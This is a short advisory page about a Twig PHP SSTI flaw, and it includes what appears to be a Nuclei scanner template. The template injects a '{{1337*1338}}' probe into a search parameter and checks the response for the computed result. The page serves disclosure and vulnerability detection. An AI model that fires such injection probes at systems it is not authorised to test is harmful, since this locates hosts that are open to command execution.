twig-php-ssti: Twig PHP <2.4.4 template engine - SSTI

日期: 2025-08-01 | 影响软件: Twig PHP | POC: 已公开

漏洞描述

A vulnerability in Twig PHP allows remote attackers to cause the product to execute arbitrary commands via an SSTI vulnerability.

PoC代码[已公开]

id: twig-php-ssti

info:
  name: Twig PHP <2.4.4 template engine - SSTI
  author: madrobot
  severity: high
  description: A vulnerability in Twig PHP allows remote attackers to cause the product to execute arbitrary commands via an SSTI vulnerability.
  metadata:
    max-request: 1
  tags: php,ssti,twig

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?search_key=%7B%7B1337*1338%7D%7D"

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1788906"

      - type: status
        status:
          - 404
        negative: true
# digest: 4a0a0047304502201e7cce1d19e7e1dc1b8e786c770634f54eed53a466b745d68b98f944b458451e0221008d010ecd9fc690a10169920905282e3077f3d991f763bdf10540adf309125917:922c64590222798bb761d5b6d8e72950